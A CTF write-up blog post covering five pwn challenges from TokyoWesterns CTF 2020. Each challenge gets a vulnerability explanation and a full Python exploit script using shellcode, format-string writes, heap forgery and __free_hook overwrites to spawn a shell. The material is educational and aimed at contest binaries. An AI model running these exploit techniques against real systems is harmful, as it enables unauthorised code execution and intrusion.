CTFするぞ

CTF以外のことも書くよ

TokyoWesterns CTF 2020 Writeups

I played TokyoWesterns CTF 2020 in team D0G$ (Defenit x zer0pts x GoN x $wag) and we reached 1st place 🎉

f:id:ptr-yudai:20200921211959p:plain

It was an amazing dream collabolation 🤗

I mainly worked on the pwn tasks and I'm going to write about some of them. The tasks and solvers are available here:

bitbucket.org

Other members' writeups:

furutsuki.hatenablog.com

yoshiking.hatenablog.jp

rkm0959.tistory.com

[pwn 111pts] nothing more to say 2020 (134 solves)

x86-64 ELF without protection.

$ checksec -f nothing
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   70 Symbols     No       0               4       nothing

There's an obvious FSB on a stack buffer. I injected my shellcode into stack and executed it by overwriting the return address with the address of the shellcode.

from ptrlib import *

#sock = Process("./nothing")
sock = Socket("nc pwn02.chal.ctf.westerns.tokyo 18247")

# leak stack
sock.sendlineafter("> ", "%{}$p".format(6 + (0x118 // 8)))
addr_stack = int(sock.recvline(), 16)
logger.info("stack = " + hex(addr_stack))

# write shellcode
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
writes = {}
pos = addr_stack
for block in chunks(shellcode, 8, b'\x90'):
    writes = {pos: u64(block)}
    payload = fsb(
        pos=6,
        writes=writes,
        size=8,
        bits=64
    )
    sock.sendlineafter("> ", payload)
    pos += 8

# overwrite return address
writes = {addr_stack - 0xe0: addr_stack}
payload = fsb(
    pos=6,
    writes=writes,
    size=8,
    bits=64
)
sock.sendlineafter("> ", payload)

# done
sock.sendlineafter("> ", "q")

sock.interactive()

I was few seconds slower to write the exploit and JSec got first blood 🎉

[pwn 252pts] Online Nonogram (33 solves)

Nonogram game written in C++,

$ checksec -f nono
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   237 Symbols     Yes     0               8       nono

The vulnerability is buffer over-write/over-read on creating a new puzzle. The program doesn't check upper boundary of the puzzle size, although the buffer size on bss section is 0x400.

There is a variable after the buffer, which is named vec_puzzle and is of std::vector. We can leak the address of this vector by solving the puzzle. The instance of the puzzle class looks like this:

+0x00: puzzle size (int)
+0x08: puzzle (char*)
+0x10: title (std::string)
+0x20: is_solved (bool)

So, we can just prepare some fake puzzle structures on the heap.

The puzzle solver is written by Reinose.

from ptrlib import *
import solver

def add(title, size, puzzle):
    sock.sendlineafter(": ", "2")
    sock.sendlineafter(": ", title)
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", puzzle)
def delete(index):
    sock.sendlineafter(": ", "3")
    sock.sendlineafter("Index:", str(index))
def title_of(index):
    sock.sendlineafter(": ", "1")
    r = sock.recvregex(str2bytes("{} : (.+) \(.\)".format(index)))
    sock.sendlineafter(":", "-1")
    return r[0]
def solve(index):
    sock.sendlineafter(": ", "1")
    sock.sendlineafter("Index:", str(index))
    # get stage
    sock.recvuntil("Numbers\n")
    n = 0
    row = []
    while True:
        l = sock.recvline()
        if b'Numbers' in l: break
        row.append(eval("[" + l.decode() + "]"))
        n += 1
    column = []
    while True:
        l = sock.recvline()
        if b'Status' in l: break
        column.append(eval("[" + l.decode() + "]"))
    answer = solver.solve((n, n, row, column))
    bits = ''
    mem = b''
    for i in range(n * n):
        x, y = i // n, i % n
        bits += str(answer[y][x])
        if len(bits) == 8:
            mem += bytes([int(bits[::-1], 2)])
            bits = ""
    return mem

def size2len(s):
    import math
    return math.ceil(math.sqrt((s - 1) * 8))

libc = ELF("./libc.so.6")
#sock = Socket("localhost", 9999)
sock = Socket("nc pwn03.chal.ctf.westerns.tokyo 22915")

# prepare
add("A" * 0x428, 1, "X")
add("B", size2len(0x418), "\xff" * 8)

# leak heap address
mem = solve(3)
addr_heap = u64(mem[0x400:0x408]) - 0x11fb0
logger.info("heap = " + hex(addr_heap))
sock.sendlineafter(": ", "x")

ofs_puzzle = 0x12bf0
ofs_usbin  = 0x13020
# fake vector
payload  = p64(addr_heap + ofs_puzzle + 0x100)
payload += p64(addr_heap + ofs_puzzle + 0x210)
payload += p64(0) * 4
# fake_chunk
payload += p64(0) + p64(0x51)
payload += p64(0) * 4
payload += p64(0) + p64(0x91)
payload += b"C" * (0x100 - len(payload))
# fake puzzle (for leaking libc)
payload += p64(0x10)                  # size
payload += p64(addr_heap)             # puzzle
payload += p64(addr_heap + ofs_usbin) # title
payload += p64(0x8)
payload += p64(0x8)
payload += p64(0)
payload += p64(1)                   # is_solved
payload += b"C" * (0x200 - len(payload))
# fake puzzle (for abusing tcache)
payload += p64(0) + p64(0x61)
payload += p64(0x10)
payload += p64(addr_heap + ofs_puzzle + 0x40)
payload += p64(addr_heap + ofs_puzzle + 0x70)
payload += p64(0x8)
payload += p64(0x8)
payload += p64(0)
payload += p64(1)                   # is_solved
payload += b"C" * (0x400 - len(payload))
# fake vec_puzzle
payload += p64(addr_heap + ofs_puzzle)
payload += p64(addr_heap + ofs_puzzle + 0x10)
payload += p64(addr_heap + ofs_puzzle + 0x100)

# overwrite fake puzzle
delete(2)
add("C", size2len(len(payload)), payload)

# leak libc
libc_base = u64(title_of(0)) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))

# overwrite __free_hook
delete(1)
payload  = b"/bin/sh\x00" + b'\x00' * 8
payload += p64(libc_base + libc.symbol("system"))
payload += b"A" * 0x8
payload += p64(0) + p64(0x91)
payload += p64(libc_base + libc.symbol("__free_hook") - 0x10)
payload += b"B" * (0x80 - len(payload))
assert not has_space(payload)
add(payload, 1, "X")

sock.interactive()

I got first blood 🎉

[pwn 388pts] smash (9 solves)

First CET challenge.

$ checksec -f smash
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     1               4       smash

The vulnerability is very smiple: FSB and Stack BOF. The FSB is for leaking some addresses. Because this program works on Intel SDE, we can't simply run ROP chain.

However, we can overwrite arbitrary address with a heap pointer as we can overwrite the saved rbp in readline.

mov     esi, 38h ; '8'
mov     edi, 0
call    readline
mov     [rbp-8], rax

The following two knowledge are required to solve this challenge:

  • dprintf uses a temporary FILE structure in it
  • Intel PIN ignores NX

Now, it's easy. We can overwrite _IO_file_jumps and prepare a shellcode on the heap. Be noticed we have to start the shellcode with endbr64.

from ptrlib import *

libc = ELF("./libc-2.31.so")
delta = 0xf3
#sock = Socket("localhost", 9999)
sock = Socket("nc pwn01.chal.ctf.westerns.tokyo 29246")

# address leak
payload = "%p." * 9
sock.sendafter("> ", payload)
r = sock.recvline().split(b".")
libc_base = int(r[8], 16) - libc.symbol("__libc_start_main") - delta
heap_base = int(r[0], 16) - 0x670
proc_base = int(r[6], 16) - 0x1216
addr_stack = int(r[5], 16)
logger.info("proc = " + hex(proc_base))
logger.info("heap = " + hex(heap_base))
logger.info("libc = " + hex(libc_base))
logger.info("stack = " + hex(addr_stack))

# overwrite IO_file_jumps
IO_file_jumps = libc_base + 0x1ed4a0
rop_pop_rdi = proc_base + 0x000013d3
payload  = b"\xf3\x0f\x1e\xfa" # endbr64
payload += b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload += b"\x90" * (0x30 - len(payload))
payload += p64(IO_file_jumps + 0x10 + 8)[:6]
sock.sendafter("] ", payload)

sock.interactive()

I got first blood 🎉

[pwn 478pts] Vi deteriorated (2 solves)

Vi written in C++ and the source code is not provided :(

$ checksec -f vid
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   2740 Symbols     Yes    0               2       vid

Xion did the hard reversing part and found the vulnerability. The program manages the buffer line by line with using std::vector<std::string>. We can use the replace command in vi.

The first vulnerability is pretty obvious. It doesn't update the cursor even after the buffer size shrinks after a replacement. As this program uses at method when we try to insert a character, it causes an exception if the cursor is located out of bounds. The program shows backtrace when an exception occurs and also automatically recovers itself. This backtrace leaks the address of the process and libc.

The second vulnerability lies in the replacement with multi-line.

Pseudo code of the vulnerability: (I don't know C++ syntax)

for(auto iter = lines.begin(); iter != lines.end(); iter = iter.next()) {
  ...
  // if after-replace string is multi-line
  for(<each newline>) {
    lines->insert(newline);
  }
  ...
}

Since lines is of std::vector, the insert method may cause a reallocation if the lines are full, while iter refers to the old vector. This may cause Use-after-Free.

Xion quickly wrote an exploit to abuse the tcache and got first blood 🎉 I'm going to write my approach, which is a bit different.

Instead of abusing the tcache, I used = operator of std::string. The insert method calls opertor= on std::string to update the old lines. We can forge the old string pointers by UAF.

You can see the new string goes to the address of the fake std::string in the example below.

pwndbg> x/32xg 0x5555555de400 # lines (after UAF)
0x5555555de400: 0x00007fffffffd900      0x0000000000000211
0x5555555de410: 0x00007ffff7d69b28      0x0000000000000010
0x5555555de420: 0x00007ffff7d69b28      0x0000000000000001
0x5555555de430: 0x00007ffff7d69b29      0x0000000000000011
0x5555555de440: 0x00007ffff7d69b29      0x0000000000000001
0x5555555de450: 0x00007ffff7d69b2a      0x0000000000000012
0x5555555de460: 0x00007ffff7d69b2a      0x0000000000000001
0x5555555de470: 0x00007ffff7d69b2b      0x0000000000000013
0x5555555de480: 0x00007ffff7d69b2b      0x0000000000000001
0x5555555de490: 0x00007ffff7d69b2c      0x0000000000000014
0x5555555de4a0: 0x00007ffff7d69b2c      0x0000000000000001
0x5555555de4b0: 0x00007ffff7d69b2d      0x0000000000000015
0x5555555de4c0: 0x00007ffff7d69b2d      0x0000000000000001
0x5555555de4d0: 0x0a410a410a410a41      0x0a410a410a410a41
0x5555555de4e0: 0x0a410a410a410a41      0x0a410a410a410a41
0x5555555de4f0: 0x0a410a410a410a41      0x0a410a410a410a41
pwndbg> x/4xg &__free_hook
0x7ffff7d69b28 <__free_hook>:   0x0000414141414141      0x0000000000000000
0x7ffff7d69b38 <next_to_use.12460>:     0x0000000000000000      0x0000000000000000

This is a quite strong AAW primitive. I overwrote __free_hook with system. Be careful that we can't put /bin/sh because the slash character is recognized as part of the replacement command.

from ptrlib import *
import time

def esc():
    sock.send("\x1b")
def insert():
    sock.send("i")

libc = ELF("./libc.so.6")
sock = Socket("localhost", 9999)
#sock = Socket("pwn03.chal.ctf.westerns.tokyo:17265")

# vim: 0x5555555b5eb0
"""
(1) leak proc & libc
"""
insert()
sock.send("A")
esc()
sock.sendline(":%s/A//g")
insert()
sock.send("X")

r = sock.recvregex("vid\(\+0x75b3\) \[0x([0-9a-f]+)\]")
proc_base = int(r[0], 16) - 0x75b3
logger.info("proc = " + hex(proc_base))
r = sock.recvregex("\(__libc_start_main\+0xf3\) \[0x([0-9a-f]+)\]")
libc_base = int(r[0], 16) - libc.symbol("__libc_start_main") - 0xf3
logger.info("libc = " + hex(libc_base))

time.sleep(1)

# vim: 0x5555555d6280
# lines: 0x00005555555dd170
"""
(2) put 0x210 chunk into tcache
"""
sock.sendline(":%s/" + "A" * 0x200 + "//g")

insert()
sock.send("A")
esc()
sock.sendline(":%s/A//g")
insert()
sock.send("X")

time.sleep(1)

# vim: 0x5555555de620
# abuse uaf
"""
(3) UAF to win
"""
insert()
sock.send("A\nB")
esc()

payload = b''
target = libc_base + libc.symbol("__free_hook")
for i in range(6):
    payload += b'sh;\0\0\0\0\0' + p64(0x10 + i)
    payload += p64(target + i) + p64(0x0)
payload += p64(libc_base + libc.symbol("__free_hook") + 0x10)
payload += b'A\\n' * 6
payload += b'B\\n' * 6
payload += b'C\\n' * 4
payload += p64(libc_base + libc.symbol("system")) + b'\\n'
sock.sendline(b":%s/B/" + payload + b"/")

sock.interactive()

However, I couldn't finish the exploit during the CTF because I didn't notice a freed chunk of size 0x210 was required. Thank you @Xion for analysing the binary and finishing the exploit during the CTF!

[pwn 398pts] Blind Shot (8 solves)

Another FSB challenge.

$ checksec -f blindshot
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   75 Symbols     Yes      0               2       blindshot

The buffer for FSB is allocated on the heap. The output goes to /dev/null because it uses dprintf over /dev/null.

My exploit is simple (probability is 1/4096 though)

  • Stage 1
    • Modify 1 byte of the return address to main function
    • At the same time, modify fd of tmpfile used in dprintf to 1
    • Also leak some addresses and it'll come to stdout since we overwrote fd
  • Stage 2
    • Call _start to make the return address become __libc_start_main+α
  • Stage 3
    • Modify 3 bytes of the return address to the one gadget.

As Xion finished this challenge faster than I, I didn't write the exploit for the remote server. So, I put my exploit which works locally without ASLR. (It should work with ASLR by changing some offset values.)

from ptrlib import *

libc = ELF("./libc-2.31.so")

rsp = 0x7fffffffe520
pos_argv = 5 + (0x7fffffffe588 - rsp) // 8
pos_argv0 = 5 + (0x7fffffffe668 - rsp) // 8
pos_envp0 = 5 + (0x7fffffffe668 - rsp) // 8 + 2
pos_retaddr = 5 + (0x7fffffffe578 - rsp) // 8
pos_stackaddr = 5
pos_main = 5 + (0x7fffffffe598 - rsp) // 8

sock = Socket("localhost", 9999)

# leak address
payload  = ""
cur = 0
x = 0
payload += "%c" * 3
payload += "%{}c%hn".format(0xe2b0 - 3)
cur += 5
x += 0xe2b0
payload += "%c" * (pos_argv - cur - 2)
payload += "%{}c%hn".format(0xe558 - x - (pos_argv - cur - 2))
payload += "%{}c%{}$hhn".format(0x61 - 0x58, pos_argv0)
payload += "%{}c%{}$hhn".format(0x101 - 0x61, pos_envp0)
payload += ".%{}$p".format(pos_main)
payload += ".%{}$p".format(pos_stackaddr)
payload += ".%{}$p.".format(pos_retaddr)
sock.sendlineafter("> ", payload)
r = sock.recv(114514)
if r == b'':
    logger.warn("Bad luck!")
    exit(1)
elif r == b'done.\n':
    logger.warn("Bad luck!")
    exit(1)
r = r.split(b".")
proc_base = int(r[-5], 16) - 0x125c
addr_stack = int(r[-4], 16)
libc_base = int(r[-3], 16) - libc.symbol("__libc_start_main") - 0xf3
logger.info("stack = " + hex(addr_stack))
logger.info("libc = " + hex(libc_base))
logger.info("proc = " + hex(proc_base))
sock.unget(b"done.\n> ")

# normalize
def pon(x, size):
    return ((x - 1) % (1<<(8*size))) + 1

addr_start = proc_base + 0x114c
payload  = ""
payload += "%c" * 5
payload += "%{}c%hn".format(0xe548 - 5)
x = 0xe548
payload += "%{}c%{}$hn".format(pon((addr_start & 0xffff) - x - 12, 2), 5+0x168//8)
sock.sendlineafter("> ", payload)

# boom
one_gadget = libc_base + 0x54f89

payload  = ""
payload += "%c" * 3
payload += "%{}c%hn".format(0xe468 - 3)
x = 0xe468
payload += "%c" * (0x2f - 2)
payload += "%{}c%hn".format(pon(0xe46a - x - 0x2d, 2))
x = 0xe46a
payload += "%{}c%{}$hn".format(pon((one_gadget & 0xffff) - x, 2), 0x4d+5)
x = one_gadget & 0xffff
payload += "%{}c%{}$hhn".format(pon(((one_gadget >> 16) - x) & 0xff, 1), 0x4b+5)
sock.sendlineafter("> ", payload)

sock.interactive()

Xion got first blood 🎉